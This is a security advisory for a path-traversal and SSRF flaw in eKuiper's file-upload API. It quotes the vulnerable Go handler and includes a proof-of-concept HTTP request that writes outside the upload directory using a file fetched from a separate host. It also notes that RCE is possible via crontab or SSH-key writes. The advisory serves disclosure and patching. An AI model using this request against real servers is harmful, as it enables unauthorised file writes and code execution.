🛡️ GHSA-gj54-gwj9-x2c6 — ekuiper
Description
eKuiper /config/uploads API arbitrary file writing may lead to RCE
Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
Details
```go
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)
```
- The fc.Name parameter do not safely filtered.
PoC
```
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}
```

Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
1. SSRF
2. Path-Travel
3. May leads to RCE
The reporters is m0d9 from Tencent YunDing Lab.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
GHSA-gj54-gwj9-x2c6 is classified as CWE-434: Unrestricted Upload of File with Dangerous Type. Uploads are accepted without restricting type, so an executable file can be placed where the server will run it.
Affected software
GHSA-gj54-gwj9-x2c6 is recorded against 2 packages.
- github.com/lf-edge/ekuiper
- github.com/lf-edge/ekuiper/v2
Timeline and source
Published on 3 July 2025 and last revised on 28 July 2025. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/lf-edge/ekuiper | — | — |
| github.com/lf-edge/ekuiper/v2 | — | — |
References
Similar Threats
- Unknown GO-2025-4158
- Critical GHSA-rj4j-2jph-gg43
- Unknown GO-2025-3799
- Unknown GO-2025-3800
- Critical CVE-2025-54379
Site Security Check
Is ekuiper part of your stack?
GHSA-gj54-gwj9-x2c6 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.